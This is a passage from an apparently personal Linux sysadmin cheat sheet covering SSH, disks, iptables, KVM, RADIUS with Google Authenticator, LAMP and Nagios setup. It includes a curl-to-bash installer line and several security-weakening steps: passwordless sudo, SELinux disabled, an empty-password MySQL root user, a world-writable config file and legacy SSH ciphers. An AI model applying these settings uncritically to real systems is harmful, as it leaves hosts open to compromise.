nano /boot/cmdline.txt
init=/bin/sh
# Put SD card / HDD back into original machine
# Mount FS (but not fstab)
mount -o remount,rw / –target /
# Modify fstab
nano /etc/fstab
# modify what must be
# Put SD card / HDD into another PC
nano /boot/cmdline.txt
# delete init=/bin/sh
# Put SD card / HDD back into original machine
```
## Swap
``` bash
sudo swapon --show
free -h
df -h
sudo fallocate -l 1G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab
```
## SSH Config
Example:
``` bash
cat ~/.ssh/config
Host server
LocalForward 2222 192.168.99.99:22
User ubuntu
Hostname 192.168.100.1
IdentityFile ~/.ssh/server
Host router
User cisco
Hostname 192.168.1.1
IdentityFile ~/.ssh/router
Ciphers aes256-cbc
Host switch
User cisco
Hostname 192.168.33.2
Ciphers aes256-cbc
KexAlgorithms +diffie-hellman-group1-sha1
```
## OpenSSL
``` bash
# https://stackoverflow.com/questions/5244129/use-rsa-private-key-to-generate-public-key
# Generate public key from private
openssl rsa -in mykey.pem -pubout > mykey.pub
```
## Disk Usage
``` bash
# Human readable output
du -h mydir/
# Kilobytes
du -k mydir/
# Megabytes
du -m mydir/
# Which sub-dirs consume how much disk space:
du -h --max-depth=1 mydir/ | sort -hr
# List all items including files and dirs
du -ah mydir/
# Multiple dirs
du -h dir1/ dir2/
# Summary
du -sh
# Grand total of dirs
du -sch dir/
# Exclude:
du -sh --exclude='*.docx'
```
### Order by Size
``` bash
du | sort -nr | cut -f2- | xargs du -hs
```
## Formatting Disk
``` bash
# List disks
df -h
fdisk -l
# Unmount disk to format
sudo umount /dev/sdc1
# vFAT, NTFS, EXT4, etc.:
sudo mkfs.vfat /dev/sdc1
sudo mkfs.ntfs /dev/sdc1
sudo mkfs.ext4 /dev/sdc1
```
## ISO to Disk
``` bash
sudo dd if=~/Downloads/ubuntu_something.iso of=/dev/diskN
```
## Check SSL Certificate Expiry Date
``` bash
echo | openssl s_client -servername www.calebsargeant.com -connect www.calebsargeant.com:443 | openssl x509 -noout -dates
```
## Inodes
``` bash
df -i
```
``` bash
{ find / -xdev -printf '%h\n' | sort | uniq -c | sort -k 1 -n; } 2>/dev/null
```
## Mail
## Grep
``` bash
# exclude nologin
grep -wv nologin /etc/passwd
# recursive lookups - https://stackoverflow.com/questions/1987926/how-do-i-grep-recursively
grep -r "texthere" .
```
## Tail
``` bash
## https://stackoverflow.com/questions/39615142/bash-get-last-line-from-a-variable
# Get last line
tail -n1
```
## SFTP
### Pass Variable into SFTP
``` bash
sftp -i key.pem -b - un@server <<< "get /some/path/with/$yr"
```
## Curl
### Uploading Files
``` bash
curl https://EXAMPLE \
-F 'one=sometext' \
-F 'two=someothertext' \
-F 'three=somemoretext' \
-F 'doc=@/Users/caleb/Documents/Test.docx; type=application/vnd.openxmlformats-officedocument.wordprocessingml.document'
```
### Curl to SFTP
``` bash
curl -v --insecure --user username:urlencodedPassword sftp://somedomain.com
```
## TCPDump
Get all https traffic:
``` bash
tcpdump -nnSX port 443
```
Get just port 443
``` bash
tcpdump port 443
```
Get from specific source:
``` bash
tcpdump src 10.3.0.4
```
Dump from an interface:
``` bash
tcpdump -i eth0
```
Putting it all together:
``` bash
tcpdump -i enp1s9 dst 192.168.6.1 and src 192.168.6.2 and src port 80
```
## Find
``` bash
find ~ -name foldername -type d
```
``` bash
find . -name "foo*"
```
``` bash
find /path/to/files* -mtime +5 -exec rm {} \;
```
## Screen
### Using Screen
``` bash
# Create screen called caleb
screen -S caleb
# Go into screen called caleb
screen -r -d caleb
```
### List Running Sessions
``` bash
screen -ls
ls -laR /var/run/screen
```
### Kill a Detached Session
``` bash
screen -X -S [session # you want to kill] quit
```
### Detatch Session
:~:text=Leaving%20Screen%20Terminal%20Session,K%E2%80%9D%20to%20kill%20the%20screen.
Ctrl-A d
## Generating SSH Keys
``` bash
### ON THE CLIENT
# Generate a public key on the client
ssh-keygen -t rsa -b 4096
### Output
#Generating public/private rsa key pair.
#Enter file in which to save the key (/home/ubuntu/.ssh/id_rsa):
#Enter passphrase (empty for no passphrase):
#Enter same passphrase again:
#Your identification has been saved in /home/ubuntu/.ssh/id_rsa.
#Your public key has been saved in /home/ubuntu/.ssh/id_rsa.pub.
#The key fingerprint is:
#SHA256:random
# Copy public key to server (you will be required to authenticate)
ssh-copy-id ubuntu@10.0.2.12
### Output
# /usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/ubuntu/.ssh/id_rsa.pub"
# /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
# /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed if you are prompted now it is to install the new keys
# ubuntu@10.0.2.12's password:
# Number of key(s) added: 1
# Now try logging into the machine, with: "ssh 'ubuntu@10.0.2.12'"
# and check to make sure that only the key(s) you wanted were added.
# You can add IdentitiesOnly yes to ensure ssh uses the IdentityFile and no other keyfiles during authentication, which can cause issues and is not a good practice.
vim ~/.ssh/config
Host SERVERNAME
Hostname ip-or-domain-of-server
User USERNAME
PubKeyAuthentication yes
IdentityFile ./path/to/key
```
## Sudo without Password
``` bash
# DO NOT MAKE A MISTAKE
visudo
%sudo ALL=(ALL:ALL) NOPASSWD:ALL
```
## Compression
### Gzip
``` bash
gzip -d file.gz
```
### Zip
``` bash
yum -y install zip unzip
zip -9 -r
unzip file.zip
```
### Bunzip
``` bash
bunzip2 myfile.bz2
tar xjvf myfile.tar.bz2
```
### Tar
A good source for `tar` commands .
**.tar**
``` bash
tar -cvf myarchive.tar mydirectory/
tar -xvf mystuff.tar
```
**.tar.gz**
``` bash
tar -czvf myarchive.tgz mydirectory/
tar -xzvf mystuff.tgz
```
**Tar to CIFS:**
``` bash
# Backup the MySQL database
mysqldump zabbix > backup.sql
# Install cifs-utils
apt-get install cifs-utils
# Create mountpoint dir
mkdir /mnt/data
# Mount the share
mount -t cifs //10.10.10.10/share /mnt/data -o user=administrator
# Archive Zabbix config & DB
tar cfzv backup.tar.gz /etc/zabbix/ backup.sql
# Copy to share
cp backup.tar.gz /mnt/data/
```
**Tar exclude:**
``` bash
tar --exclude='./folder' --exclude='./upload/folder2' \
-zcvf /backup/filename.tgz .
```
``` bash
tar -czvf /location/my.tar.gz --exclude='/dir1' --exclude='/dir2' /dir/to/tar
```
## PDF to CSV
``` bash
TABULARNAME=tabula-1.0.3-jar-with-dependencies.jar
YEAR=2019
MONTH=08
java -jar ./$TABULARNAME -b ./$YEAR/$MONTH -t -p all
```
## Installing GUI on CentOS
`yum groupinstall "Desktop" "Desktop Platform" "X Window System" "Fonts"`
## List Samba Users
pbdedit -L
## Open Webpage on Mac
`open -a "Google Chrome" index.html`
## Running FSCK Manually
You get a message: (or something similar) /dev/mapper/vg_fedora1530-lv-home: UNEXPECTED INCONSISTENCY: RUN fsck MANUALLY (i.e., without -a or -p options) Try the following: 1. Type the following commands: umount /dev/sda\* fsck /dev/sda1 -f -y -a (see for syntax of fsck)
## Nginx
``` bash
sudo nginx -t && sudo nginx -s reload
```
## Xen
### Manually Starting
``` bash
xm list
cd /etc/xen/
ls
xm create
ping
xm list
```
### Install Xen
``` bash
yum install xen virt-manager kernel-xen
chkconfig xend on
reboot
```
### Mount CD for Image of OS
``` bash
mkdir /media/cdrom
mount -t -o ro /dev/cdrom /media/cdrom
```
### Install VM
`virt-install --prompt (yes centos 512 /home/vm/centos /media/cdrom)`
### Launch VM to Create Virtual OS
``` bash
# NOTE to exit startx press ctrl,alt,bkspce
startx
virt-manager
```
## Skel Terminal Colours
``` bash
mv .bashrc .bashrc.bak
cp /etc/skel/.bashrc .bashrc
nano .bashrc
# uncomment this:
force_color_prompt=yes
# add this to the bottom of the file
[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm"
. .bashrc
```
## Move a File Starting with Dash
``` bash
# https://www.cyberciti.biz/faq/linuxunix-move-file-starting-with-a-dash/
mv -- '--bar.txt' /path/to/dest
```
## LFTP
## Rename a File to a Filename with Date
`` cp .`date -I ``\`
## Checking CPU Architecture
`uname -i`
## Checking Uptime
`uptime`
## Crontab different editor
``` bash
export EDITOR="nano"
export VISUAL="nano"
```
## TigerVNC
``` bash
yum install vnc vnc-server tigervnc-server xterm
yum groupinstall Desktop
useradd
passwd
vi /etc/sysconfig/vncservers
VNCSERVERS="1: 2: 3:"
VNCSERVERARGS[1]="-geometry 640x480"
VNCSERVERARGS[2]="-geometry 640x480"
VNCSERVERARGS[3]="-geometry 800x600"
# Remember to delete the nonsense after: "
su -
vncpasswd
service vncserver start
# To connect to a Windows machine, install tiger-vnc on the Windows machine and enable Remote Desktop. Allow RDP 3389 through firewall.
```
## Old School LAMP
### Features
- Apache (hosts the website)
- MySQL (Database server)
- PHP (hypertext processor)
- Joomla (creates the website. Dependant on PHP and MYSQL)
### Installation
**My SQL Server 5.0 (server & client)**
``` bash
yum install mysql mysql-server
chkconfig --levels 235 mysqld on
/etc/init.d/mysqld start
mysql_secure_installation
```
**Apache 2**
() (Apache's default document root is /var/www/html on CentOS, and the configuration file is /etc/httpd/conf/httpd.conf. Additional configurations are stored in the /etc/httpd/conf.d/ directory)
``` bash
yum install httpd
chkconfig --levels 235 httpd on
/etc/init.d/httpd start
```
**PHP5**
``` bash
yum install php
/etc/init.d/httpd restart
vi /var/www/html/info.php
```
**MySQL Support for PHP5**
()
``` bash
yum search php
yum install php-mysql php-gd php-imap php-ldap php-mbstring php-odbc php-pear php-xml phpxmlrpc
yum install php-pecl-apc
/etc/init.d/httpd restart
```
**phpMyAdmin**
()
``` bash
rpm --import http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt
# 64-bit:
yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm
# 32-bit
yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.i686.rpm
yum install phpmyadmin
vi /etc/httpd/conf.d/phpmyadmin.conf
#
# Web application to manage MySQL
#
#
# Order Deny,Allow
# Deny from all
# Allow from 127.0.0.1
#
Alias /phpmyadmin /usr/share/phpmyadmin
Alias /phpMyAdmin /usr/share/phpmyadmin
vi /usr/share/phpmyadmin/config.inc.php
[...]
/* Authentication type */
$cfg['Servers'][$i]['auth_type'] = 'http';
[...]
/etc/init.d/httpd restart
```
**Joomla!**
If you are installing LAMP without Joomla then skip all the commands that have anything to do with Joomla.
``` bash
cd /tmp
yum install wget
wget joomlacode.org/gf/download/frsrelease/17715/77262/Joomla_2.5.8-Stable-Full_Package.zip
mkdir /tmp/joomla
unzip Joomla_2.5.8-Stable-Full_Package.zip /tmp/joomla/
mv /tmp/joomla/* /var/www/html/
service mysqld start; chkconfig mysqld on
/usr/bin/mysql_secure_installation
yum --enablerepo=epel install phpmyadmin
vi /etc/httpd/conf.d/phpMyAdmin.conf
Allow from 127.0.0.1 xxx.xxx.xxx.xxx/24
iptables -I INPUT -p tcp --dport http -j ACCEPT ; service iptables save ; service iptables restart
vi /etc/php.ini
output_buffering=Off
touch /var/www/html/configuration.php
chmod 666 /var/www/html/configuration.php
service httpd start; chkconfig httpd on
mysql -u root -p
create database
create user 'root'@'localhost' identified by '';
grant all privileges on .* to root@localhost;
show grants for 'root'@'localhost';
```
Open up a web browser and type in . Follow the wizard. REMEMBER TO COPY CONFIGURATION TEXT TO /var/www/html/configuration.php. `rm -rf /var/www/html/installation/` You can access the server by going to a browser and typing .
## Git Server
### On the Server
**Installing Git**
``` bash
yum install git-core
```
**Configuring the git group**
``` bash
groupadd git
```
For a new user:
``` bash
useradd -G git
passwd
id
```
For an existing user:
``` bash
usermod -a -G git
id
```
**Configuring the Git Server Repository**
``` bash
mkdir /path/to/gits
cd /path/to/gits
mkdir project.git
cd project.git
git init --bare --shared=group
sudo chmod -R g+ws *
sudo chgrp -R git *
```
**Configuring the Git Hook for Web code**
``` bash
mkdir /var/www/html/project
cd /path/to/gits/project.git
vi /hooks/post-recieve
#!/bin/sh
GIT_WORK_TREEE=/var/www/html/project git checkout -f
chmod +x hooks/post-receive
chown -R git:git *
```
### On the Client's Machine
Download and install:
``` bash
mkdir /path/to/gits
cd /path/to/gits
mkdir project.git
cd project.git
git init
git remote add web ssh:///full/path/to/project.git
git add README
git commit -m "Initial Import"
git push web +master:refs/heads/master
```
Then open Firefox, go to \/project Then in future: git push web
Please note that you wont see any files on the server, because it is a bare repository and therefore the files are protected. You can create a Git Hook to expose the bare repository's files in a different directory (useful for web code). Use git clone \/path/to/gits to clone an existing server repository.
## Age of System
``` bash
ubuntu@server:~$ sudo tune2fs -l /dev/sda2 | grep created
Filesystem created: Mon Sep 7 06:49:22 2020
```
## List all Services
``` bash
systemctl list-units --type=service
systemctl --type=service
```
## Temporary Failure in Name Resolution
``` bash
sudo systemctl disable systemd-resolved.service
sudo systemctl stop systemd-resolved.service
sudo rm /etc/resolv.conf
echo "nameserver 1.1.1.1" > /etc/resolv.conf
echo "nameserver 1.0.0.3" >> /etc/resolv.conf
```
## Change Hosname
``` bash
sudo hostnamectl set-hostname SERVERNAME
nano /etc/hosts
```
## Google Authenticator
### CentOS 7
``` bash
# Update and Upgrade
yum -y update && yum -y upgrade
# Install FreeRADIUS
yum install freeradius freeradius-utils
# Install nano
yum install nano
# Make root the user
nano /etc/raddb/radiusd.conf
user = root
group = root
# Enable PAM
nano /etc/raddb/sites-enabled/default
# Pluggable Authentication Modules.
pam
ln -s /etc/raddb/mods-available/pam /etc/raddb/mods-enabled/pam
# Add the RADIUS clients
nano /etc/raddb/clients.conf
client asa {
ipaddr = 10.145.16.3
secret = supersecuresecret
nas_type = cisco
}
# Change auth type
nano /etc/raddb/users
DEFAULT Group == "disabled", Auth-Type := Reject
Reply-Message = "Your account has been disabled."
DEFAULT Auth-Type := PAM
# Reload radiusd
service radiusd restart
# Test RADIUS, look for any errors
radiusd -X
# Test RADIUS without LDAP or Google Auth
useradd raduser
passwd raduser
radtest raduser Password1 localhost 0 testing123
# Installing tools to add box to domain
yum install sssd realmd adcli oddjob oddjob-mkhomedir sssd samba-common-tools
# Make computer join the domain
realm join corp.domain.com -U caleb.sargeant
# Configure SSSD
nano /etc/sssd/sssd.conf
ad_domain = corp.domain.com
krb5_realm = CORP.DOMAIN.COM
realmd_tags = manages-system joined-with-samba
cache_credentials = True
id_provider = ad
krb5_store_password_if_offline = True
default_shell = /bin/bash
ldap_id_mapping = True
use_fully_qualified_names = False
fallback_homedir = /home/%u
access_provider = simple
simple_allow_groups = test-group
# Allow only users part of test-group to auth with radius server
realm permit -g test-group
### SSH into the box with caleb.sargeant@ct-googleauth - not needed anymore, become the user via su only
# Reload radiusd & SSSD
service radiusd restart
service sssd restart
# Test RADIUS with LDAP, without Google Auth
radiusd -X
radtest caleb.sargeant localhost 0 testing123
# Install stuff for Google Authenticator
yum install pam-devel make gcc-c++ git wget
# Installing Google Authenticator
cd /tmp
wget https://dl.fedoraproject.org/pub/epel/7/x86_64/Packages/g/google-authenticator-1.04-1.el7.x86_64.rpm
rpm -i google-authenticator-1.04-1.el7.x86_64.rpm
# Configuring Google Authenticator for a user
su - caleb.sargeant
google-authenticator
### say y for everything, backup the numbers!
# Add Google Authenticator to PAM
nano /etc/pam.d/radiusd
#%PAM-1.0
auth requisite pam_google_authenticator.so forward_pass
auth required pam_sss.so use_first_pass
account required pam_nologin.so
account include password-auth
session include password-auth
# Test RADIUS with LDAP and Google Auth
radtest caleb.sargeant localhost 0 testing123
# Disable SELinux
nano /etc/selinux/config
SELINUX=disabled
# Configuring firewall
firewall-cmd --get-default-zone
firewall-cmd --zone=public --list-all
firewall-cmd --get-services | grep rad
firewall-cmd --permanent --zone=public --add-service=radius
firewall-cmd --reload
```
### Cisco AnyConnect Connection
The below guide shows one how to connect to the VPN using one's OTP. The connection is exactly the same as the previous VPN connection.
- To connect to the VPN using MFA, first connect to your region.
- Select the MFA Group.
- Enter your credentials. Once you have finished typing in your password, enter your TOTP. In this example, I will be using *Google Authenticator* on Android. The format is YOURPASSWORD-OTP (without the "-").
- You will be connected to the VPN as per normal.
## LDAP Authentication
### Public Key Authentication
First, on the host, reset the password of ubuntu & root
``` bash
ubuntu@hostname:~$ sudo su -
root@hostname:~# passwd ubuntu
root@hostname:~# passwd root
```
Modify the sudoers file, so that we don't have type in the password to become root. DO NOT make a mistake here.
``` bash
visudo
%sudo ALL=(ALL:ALL) NOPASSWD:ALL
```
On your laptop, copy the sshkey to the host
``` bash
name.surname@MacBookPro:~$ sudo ssh-copy-id -i key.pub ubuntu@hostname
```
You can now log into the host using ubuntu & the key.
### SSSD
Modify the sudoers
``` bash
# Add Infrasturcture Team to Sudoers
nano /etc/sudoers.d/ad-ldap
%Infrastructure\ Team ALL=(ALL:ALL) NOPASSWD:ALL
# Change permissions on sudoers file to Owner & Group readable only
chmod 440 /etc/sudoers.d/ad-ldap
```
Install SSSD & Related Tools
``` bash
apt-get install samba-common sssd sssd-tools realmd adcli oddjob oddjob-mkhomedir libnss-sss libpam-sss adcli -y
```
Join the domain
``` bash
sudo realm join corp.example.com -U caleb.sargeant --install=/
```
SSSD Configuration
``` bash
# Add or modify the below
nano /etc/sssd/sssd.conf
use_fully_qualified_names = False
fallback_homedir = /home/%u
skel_dir = /etc/skel
homedir_umask = 000
override_homedir = /home/%u
simple_allow_groups = Infrastructure\ Team
```
Restart SSSD
``` bash
service sssd restart
```
You can now log in to the host using your domain credentials
To add Duo Authentication push notifications, see [here](../cloud/duo.md#unix-ssh).
## Gcloud
### Installation
``` bash
curl https://sdk.cloud.google.com | bash
# The next line updates PATH for the Google Cloud SDK.
source '[path-to-my-home]/google-cloud-sdk/path.bash.inc'
# The next line enables bash completion for gcloud.
source '[path-to-my-home]/google-cloud-sdk/completion.bash.inc'
```
## Find the PID Using Port
``` bash
sudo ss -lptn 'sport = :80'
sudo netstat -nlp | grep :80
sudo lsof -n -i :80 | grep LISTEN
```
## Unmounting a Busy Device
``` bash
umount -l /PATH/OF/BUSY-DEVICE
umount -f /PATH/OF/BUSY-NFS (NETWORK-FILE-SYSTEM)
```
## Ubuntu Resize Logical Volume
``` bash
vgdisplay
lvextend -l +100%FREE /dev/mapper/ubuntu--vg-ubuntu--lv
resize2fs /dev/mapper/ubuntu--vg-ubuntu--lv
```
## Wget
### Download a list of files
``` bash
wget -i text_file.txt
```
## Cat & Tac
``` bash
# Flip a file into another
tac a.txt > b.txt
```
## WC
:~:text=3.-,wc,the%20name%20of%20the%20file.
``` bash
# Get the number of lines in a file
wc -l file.txt
```
## Decrypt GPG
``` bash
gpg -d myfinancial.info.txt.gpg
```
## Forget GPG Invalid Password
``` bash
gpgconf --kill gpg-agent
```
## List DNS Servers Ubuntu
``` bash
nmcli device show | grep IP4.DNS
systemd-resolve --status
```
## Install WireGuard VPN Client
``` bash
sudo apt-get install wireguard
cd /etc/wireguard
wg genkey | tee private.key | wg pubkey > public.key
sudo nano /etc/wireguard/wg0.conf
[Interface]
PrivateKey =
Address = 10.0.0.1/24
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
ListenPort = 51820
[Peer]
PublicKey =
AllowedIPs = 10.0.0.2/32
sudo wg-quick up wg0
sudo wg show
```
## Install Docker on Amazon Linux 2
``` bash
yum install docker
usermod -a -G docker ec2-user
newgrp docker
yum install python3-pip
pip3 install docker-compose
systemctl enable docker.service
```
---
# Linux
Source: docs/computing/linux/index.md
URL: https://docs.calebsargeant.com/computing/linux/
---
# IPTables
Source: docs/computing/linux/iptables.md
URL: https://docs.calebsargeant.com/computing/linux/iptables/
## Multiple Ports
``` bash
iptables -A INPUT -p tcp --match multiport --dports 110,143,993,995 -j ACCEPT
```
## Adding a Rule
``` bash
iptables -A INPUT -p tcp -s 192.168.0.0/24 --dport 22 -j ACCEPT
```
### Specific Position
``` bash
iptables -I INPUT 1 -i eth2 -d 10.147.88.2 -j ACCEPT
```
## Comments
:~:text=To%20add%20a%20comment%20to,rule%20in%20the%20INPUT%20chain.&text=We%20can%20verify%20that%20the,running%20the%20following%20iptables%20command.
``` bash
iptables -A INPUT -p tcp --dport 22 -m comment --comment "allow ssh"
iptables -A INPUT -p udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
```
## Allowing Incoming Traffic after Changing Default Policy
``` bash
iptables -I INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
```
## Deleting a Rule
``` bash
# replace -A with -D
iptables -A
# becomes
iptables -D
```
## DNS Resolve Issues
``` bash
iptables -A INPUT -p udp --sport 53 -j ACCEPT
iptables -A INPUT -p udp --dport 53 -j ACCEPT
```
## Port Forwarding
``` bash
echo '1' | sudo tee /proc/sys/net/ipv4/conf/eth0/forwarding
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 3333 -j DNAT --to-destination 10.0.0.4:3333
iptables -A FORWARD -p tcp -s 10.3.0.4 —dport 3333 -j ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -p tcp -m tcp --dport 3333 -j MASQUERADE
```
## Persistent Rules
``` bash
netfilter-persistent save
netfilter-persistent reload
```
``` bash
iptables-save > /etc/iptables/rules.v4
```
``` bash
sudo apt install iptables-persistent
```
## Listing Rules
``` bash
iptables -v -L
```
## Allow Only Certain IP Ranges
``` bash
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -i lo -m comment --comment "Allow loopback connections" -j ACCEPT
iptables -A INPUT -p icmp -m comment --comment "Allow Ping to work as expected" -j ACCEPT
iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -s 198.51.100.0 -j ACCEPT
iptables -P INPUT DROP
iptables -P FORWARD DROP
```
## Logging
``` bash
-A INPUT -j LOG --log-prefix "Dropped INPUT Packet: "
-A FORWARD -j LOG --log-prefix "Dropped FORWARD Packet: "
```
## Docker
``` bash
-A DOCKER-USER -s 172.0.0.0/8 -m comment --comment "Allow docker to talk to itself" -j ACCEPT
-A DOCKER-USER -s 34.107.59.86/32 -m comment --comment "whitelist a specific IP Address" -j ACCEPT
-A DOCKER-USER -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A DOCKER-USER -j DROP
```
---
# KVM
Source: docs/computing/linux/kvm.md
URL: https://docs.calebsargeant.com/computing/linux/kvm/
``` bash
# Install dependancies, virtmanager, etc.
apt-get install --no-install-recommends qemu-system libvirt-clients libvirt-daemon-system virtinst qemu-utils libosinfo-bin
# To get a list of IDs for --os-variant:
osinfo-query os
# Install the VM
virt-install --name=windows10 --vcpus=2 --memory=4096 --cdrom=/media/data/share/Software/ISO/Win10_2004_English_x64.iso --disk size=32 --os-variant=win10
```
``` bash
# Create default.xml to define network settings. We want bridged mode to ensure VM gets its own IP.
nano ~/default.xml
defaultc9f4a06b-1ddb-4057-8eda-858955e205c8
# Example netplan config BEFORE
cat 00-installer-config.yaml
network:
ethernets:
enp4s0:
addresses:
- 192.168.32.32/24
gateway4: 192.168.32.1
nameservers:
addresses:
- 1.1.1.1
- 1.0.0.1
search:
- mydomain.com
version: 2
# Example netplan config AFTER
cat /etc/netplan/00-installer-config.yaml
network:
ethernets:
enp4s0:
dhcp4: false
dhcp6: false
bridges:
br0:
interfaces: [ enp4s0 ]
addresses:
- 192.168.32.32/24
gateway4: 192.168.32.1
nameservers:
addresses:
- 1.1.1.1
- 1.0.0.1
parameters:
stp: true
forward-delay: 4
dhcp4: no
dhcp6: no
version: 2
```
Okay then a couple of things:
> ``` bash
> # Modify windows10 domain settings to change to vnc & port
> virsh edit windows10
>
>
>
> # Boot device must be changed to cdrom:
>
> hvm
>
>
>
> # Then destroy (stop) VM and start again (reboot wont apply setting change)
> virsh destroy windows10
> virsh start windows10
>
> # Then INSTALL Windows
>
> # then:
> virsh edit windows10
> change back to hd
>
> hvm
>
>
>
> # Then destroy (stop) VM and start again (reboot wont apply setting change)
> virsh destroy windows10
> virsh start windows10
>
> # Output of this needs to show 0.0.0.0:5950 (nice hat) to show that its listening on all interfaces
> netstat -tulpn | grep 59
> tcp 0 0 0.0.0.0:5950 0.0.0.0:* LISTEN 26523/qemu-system-x
> #redacted
>
> #but it will actually ask you to boot from cd-dvd so not to actually worry about changing it - it will make it a few seconds faster to boot though, so change it after install complete
> ```
You may need to add a rule through iptables, or just disable it (NO DONT - BAD IDEA!!!)
Autostart settings:
``` bash
virsh autostart windows10
virsh autostart windows10 --disable
```
Location of images:
``` bash
/var/lib/libvirt/images/windows10.qcow2
```
---
# Monitoring
Source: docs/computing/linux/monitoring.md
URL: https://docs.calebsargeant.com/computing/linux/monitoring/
## Zabbix
### Slack Alerting
**Configuring Slack**
Go to . Create a new app called "Zabbix".
Create an *Incoming Webhook*.
Copy the curl request to `/usr/lib/zabbix/alertscripts/slackalerts.sh`.
Change `'{"text":"Hello, World!"}'` to `'{"text":"'"$1"'"}'`.
Test your configuration on Zabbix with `/usr/lib/zabbix/alertscripts/slackalerts.sh test`.
**Configuring Zabbix**
Create the *Media Type* in Zabbix.
Create an *Action* and an *Operation* in *Operations*, *Recovery operations*, and *Update operations*.
Nice *Default subjects* to use: Create `{ZABBIX.SERVER}` in **Administration** \> **General** \> **Macros**
- `[{ZABBIX.SERVER}] - [{HOST.HOST}] Problem: {EVENT.NAME}`
- `[{ZABBIX.SERVER}] - [{HOST.HOST}] Resolved: {EVENT.NAME}`
- `[{ZABBIX.SERVER}] - [{HOST.HOST}] Updated problem: {EVENT.NAME} - {USER.FULLNAME}`
Add the *Media* to the Administrator.
## Nagios
### Install Nagios Client on Ubuntu
``` bash
apt update
apt install nagios-nrpe-server nagios-plugins
nano /etc/nagios/nrpe.cfg
allowed_hosts=127.0.0.1, 192.168.1.100
systemctl restart nagios-nrpe-server
```
---
# Nagios
Source: docs/computing/linux/nagios.md
URL: https://docs.calebsargeant.com/computing/linux/nagios/
## Installing NRPE
``` bash
cd /tmp
wget http://assets.nagios.com/downloads/nagiosxi/agents/linux-nrpe-agent.tar.gz
tar xzf linux-nrpe-agent.tar.gz
cd linux-nrpe-agent
./fullinstall
```
## Uninstalling NRPE
``` bash
# Remove XINETD daemon
sudo rm -f /etc/xinetd.d/nrpe
sudo systemctl restart xinetd
# Stop and remove dedicated daemon
sudo systemctl stop nrpe.service
sudo systemctl disable nrpe.service
sudo rm -f /lib/systemd/system/nrpe.service
sudo systemctl daemon-reload
# Delete NRPE Files
sudo rm -f /usr/local/nagios/bin/nrpe*
sudo rm -f /usr/local/nagios/etc/nrpe*
sudo rm -f /usr/local/nagios/libexec/*nrpe*
```
## Install Nagios Core
``` bash
# Install prerequisites
sudo apt install -y build-essential apache2 php openssl perl make php-gd libgd-dev libapache2-mod-php libperl-dev libssl-dev daemon wget apache2-utils unzip
# User account
sudo useradd nagios
sudo groupadd nagios
sudo usermod -a -G nagios nagios
sudo usermod -a -G nagios www-data
# Download Nagios
cd /tmp
wget https://assets.nagios.com/downloads/nagioscore/releases/nagios-4.4.5.tar.gz
tar -zxvf /tmp/nagios-4.4.5.tar.gz
cd /tmp/nagios-4.4.5/
# Compile Nagios
sudo ./configure --with-nagios-group=nagios --with-command-group=nagios --with-httpd_conf=/etc/apache2/sites-enabled/
sudo make all
sudo make install
sudo make install-init
sudo make install-config
sudo make install-commandmode
sudo make install-webconf
cd /tmp/nagios-4.4.5$ sudo htpasswd -c /usr/local/nagios/etc/htpasswd.users
sudo a2enmod cgi
sudo systemctl restart apache2
# Nagios Plugins
cd /tmp
wget https://nagios-plugins.org/download/nagios-plugins-2.3.3.tar.gz
tar -zxvf /tmp/nagios-plugins-2.3.3.tar.gz
cd /tmp/nagios-plugins-2.3.3/
sudo ./configure --with-nagios-user=nagios --with-nagios-group=nagios
sudo make
sudo make install
# Using Nagios
sudo /usr/local/nagios/bin/nagios -v
cd /usr/local/nagios/etc/nagios.cfg
sudo systemctl enable nagios
sudo systemctl start nagios
```
## Uninstall Nagios
``` bash
Stop the Nagios daemon
Remove the web conf, if you installed it
Remove the user and group that you added for Nagios
Remove the init script
Remove /usr/local/nagios directory
find / -iname '*nagios*'
delete everything
```
## Errors
### (No output on stdout) stderr:
``` bash
sudo apt-get install nagios-plugins
```
## Adding Linux Hosts
### On the Nagios Box
``` bash
# Create the host in config (see below example config file)
nano /etc/nagios3/conf.d/server.fqdn.com.cfg
# ALWAYS verify Nagios config before reloading service, ensure that there are no errors (warnings are okay)
cd /etc/nagios3/
nagios3 -v nagios.cfg
# If no errors, you should be safe to reload nagios service (DO NOT restart service)
/etc/init.d/nagios3 reload
```
**Example config file** (the last service is a custom service check example):
``` bash
define host {
address server.example.com
alias server.example.com
check_command check_ping!100.0,20%!500.0,60%
host_name server.example.com
hostgroups ubuntu_hosts
max_check_attempts 3
notification_period 24x7
use generic-host
}
define hostextinfo {
host_name server.example.com
icon_image base/ubuntu.png
icon_image_alt Ubuntu
statusmap_image base/ubuntu.gd2
}
define service {
check_command check_nrpe!check_load
display_name CPU Load
host_name server.example.com
max_check_attempts 3
notification_period 24x7
service_description CPU Load
use generic-service
}
define service {
check_command check_nrpe!check_mem
display_name Memory
host_name server.example.com
max_check_attempts 3
notification_period 24x7
service_description Memory
use generic-service
}
define service {
check_command check_nrpe!check_vda1
display_name Disk Status
host_name server.example.com
max_check_attempts 3
notification_period 24x7
service_description Disk vda1 Status
use generic-service
}
define service {
check_command check_tcp!22
display_name SSH/sftp Port 22
host_name server.example.com
max_check_attempts 3
notification_period 24x7
service_description SSH/sftp Port 22
use generic-service
}
define service {
check_command check_nrpe!check_total_procs
